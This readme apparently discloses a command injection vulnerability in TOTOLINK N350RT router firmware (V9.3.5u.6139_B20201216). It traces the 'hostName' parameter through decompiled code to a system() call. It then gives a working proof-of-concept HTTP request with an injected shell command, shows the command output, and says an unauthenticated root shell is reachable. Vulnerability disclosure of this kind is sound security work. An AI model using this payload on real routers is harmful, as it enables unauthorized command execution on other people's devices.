

main vuln / TOTOLINK / N350RT / 5 /



Darry-lang1 Add files via upload ...

on Jul 21 History

..



img

4 months ago



readme.md

4 months ago



readme.md

TOTOLink N350RT V9.3.5u.6139_B20201216 Has an command injection vulnerability

Overview

- Manufacturer's website information: <https://www.totolink.net/>
- Firmware download address :
https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/206/ids/36.htm

Product Information

TOTOLink N350RT V9.3.5u.6139_B20201216 router, the latest version of simulation overview:

NO	Name	Version	Updated	Download
1	N350RT_Firmware	V9.3.5u.5812_B20200414	2020-07-28	
2	N350RT_Datasheet	Ver1.0	2020-08-09	
3	N350RT_Firmware	V9.3.5u.6095_B20200916	2020-09-24	
4	N350RT_Firmware	V9.3.5u.6139_B20201216	2020-12-30	

Vulnerability details

TOTOLINK N350RT (V9.3.5u.6139_B20201216) was found to contain a command insertion vulnerability in setOpModeCfg. This vulnerability allows an attacker to execute arbitrary commands through the "hostName" parameter.

```

1 int __fastcall sub_422100(int a1)
2 {
3     int Var; // $s1
4     int v3; // $s5
5     int v4; // $v0
6     int v5; // $s4
7     int JsonConf; // $v0
8     int v7; // $s2
9     _BYTE *v8; // $v0
10    int v9; // $v0
11
12    Var = websGetVar(a1, "opmode", "gw");
13    v3 = nvram_safe_get("opmode_custom");
14    v4 = websGetVar(a1, "wifiIdx_rpt", &word_42C8AC);
15    v5 = atoi(v4);
16    nvram_set("opmode_custom", Var);
17    nvram_set_int("rt_mode_x", 0);
18    nvram_set_int("rt_sta_wisp", 0);
19    nvram_set_int("rt_sta_auto", 0);
20    nvram_set_int("wl_mode_x", 0);
21    nvram_set_int("wl_sta_wisp", 0);
22    nvram_set_int("wl_sta_auto", 0);
23    nvram_set_int("crpc_enable", 0);
24    if ( strcmp(Var, "gw") )
25    {
26        if ( !strcmp(Var, "br") )
27        {
28            nvram_set("wan_route_x", "IP_Bridged");
29            nvram_set_int("sw_mode", 3);
30            nvram_set_int("networkmap_fullscan", 0);
31            nvram_set_int("dhcp_enable_x", 0);
32            nvram_set("lan_proto_x", "1");
33            nvram_set("rt_guest_lan_isolate", &word_42C8AC);
34        LABEL_19:
35            sub_421644(a1);
36            sub_41D10C(a1);
37            sub_41CDCC(a1);
38            goto LABEL_20;
39        }
40        if ( !strcmp(Var, "rpt") )
41        {

```

```

1 int __fastcall sub_421644(int a1)
2 {
3     int String; // $v0
4
5     String = cJSON_CreateString("1");
6     cJSON_AddItemToObject(a1, "switchOpMode", String);
7     sub_41A9C0(a1);
8     return 1;
9 }

```

 [image-20220719231241544](https://www.exploit-db.com/exploits/20220719231241544)

By calling these functions, we can ultimately call sub_41A9C0 function (as shown in the last picture). By setting the proto value to 1, we can reach the default branch. v50 passes directly into the dosystem function.

```
$ grep -rnl doSystem
squashfs-root/usr/sbin/discover
squashfs-root/usr/sbin/apply
squashfs-root/usr/sbin/forceupd
squashfs-root/lib/libshared.so
squashfs-root/www/cgi-bin/infostat.cgi
squashfs-root/www/cgi-bin/cstecgi.cgi
squashfs-root/sbin/rc
```

The `doSystem` function is finally found to be implemented in this file by string matching.

```
int doSystem(int a1, ...)
{
    char v2[516]; // [sp+1Ch] [-204h] BYREF
    va_list va; // [sp+22Ch] [+Ch] BYREF

    va_start(va, a1);
    vsnprintf(v2, 0x200, a1, (va_list *)va);
    return system(v2);
}
```

Reverse analysis found that the function was called directly through the `system` function, which has a command injection vulnerability.

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Boot the firmware by qemu-system or other ways (real machine)
2. Attack with the following POC attacks

```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101
Firefox/102.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 52
Origin: http://192.168.0.1
DNT: 1
Connection: close
Cookie: SESSION_ID=2:1658224702:2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Pragma: no-cache
Cache-Control: no-cache
```

```
{"hostName":"admin";ps #","proto":"1","opmode":"br","topicurl":"setOpModeCfg"}
```

```
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 78
Origin: http://192.168.0.1
DNT: 1
Connection: close
Cookie: SESSION_ID=2:1658224702:2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Pragma: no-cache
Cache-Control: no-cache

{"hostName":"admin";ps #","proto":"1","opmode":"br","topicurl":"setOpModeCfg"}
```

```
Connection: close
Transfer-Encoding: chunked
Date: Tue, 19 Jul 2022 15:30:57 GMT
Server: lighttpd/1.4.20
```

```
admin
PID USER      VSZ STAT COMMAND
 1 root    1448 S   /sbin/init
 2 root        0 SW   [kthread]
 3 root        0 SW   [softirqd]
 4 root        0 SW   [worker/0:0]
 5 root        0 SW   [worker/u:0]
 6 root        0 SW   [migration/0]
 7 root        0 SW   [migration/1]
 8 root        0 SW   [worker/1:0]
 9 root        0 SW   [softirqd/1]
10 root        0 SW   [worker/0:1]
11 root        0 SW   [migration/2]
12 root        0 SW   [worker/2:0]
13 root        0 SW   [softirqd/2]
14 root        0 SW   [migration/3]
15 root        0 SW   [worker/3:0]
16 root        0 SW   [softirqd/3]
17 root        0 SW<  [khelper]
18 root        0 SW   [worker/u:1]
23 root        0 SW   [worker/3:1]
24 root        0 SW   [worker/2:1]
```

The above figure shows the POC attack effect

```
BusyBox v1.24.2 (2020-12-02 18:57:43 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/ # ls -l
drwxrwxr-x  2 1000  1000  4096 Jul 19 22:40 bin
drwxrwxr-x  3 1000  1000  4096 Dec  2  2020 dev
drwxrwxr-x  2 1000  1000  4096 Dec  2  2020 etc
drwxrwxr-x  4 1000  1000  4096 Dec  2  2020 etc_ro
drwxrwxr-x  2 1000  1000  4096 Dec  2  2020 home
lrwxrwxrwx  1 1000  1000        7 Dec  2  2020 init -> sbin/rc
drwxrwxr-x  3 1000  1000  4096 Dec  2  2020 lib
drwxrwxr-x  3 1000  1000  4096 Dec  2  2020 lighttp
drwxrwxr-x  2 1000  1000  4096 Dec  2  2020 media
drwxrwxr-x  2 1000  1000  4096 Dec  2  2020 mnt
drwxrwxr-x  2 1000  1000  4096 Dec  2  2020 opt
drwxrwxr-x  2 1000  1000  4096 Dec  2  2020 proc
drwxrwxr-x  2 1000  1000  4096 Dec  2  2020 sbin
drwxrwxr-x  2 1000  1000  4096 Dec  2  2020 sys
drwxrwxr-x  2 1000  1000  4096 Dec  2  2020 tmp
drwxrwxr-x  9 1000  1000  4096 Dec  2  2020 usr
drwxrwxr-x  2 1000  1000  4096 Dec  2  2020 var
drwxrwxr-x  9 1000  1000  4096 Dec  2  2020 www

/ #
```

Finally, you can write exp to get a stable root shell without authorization.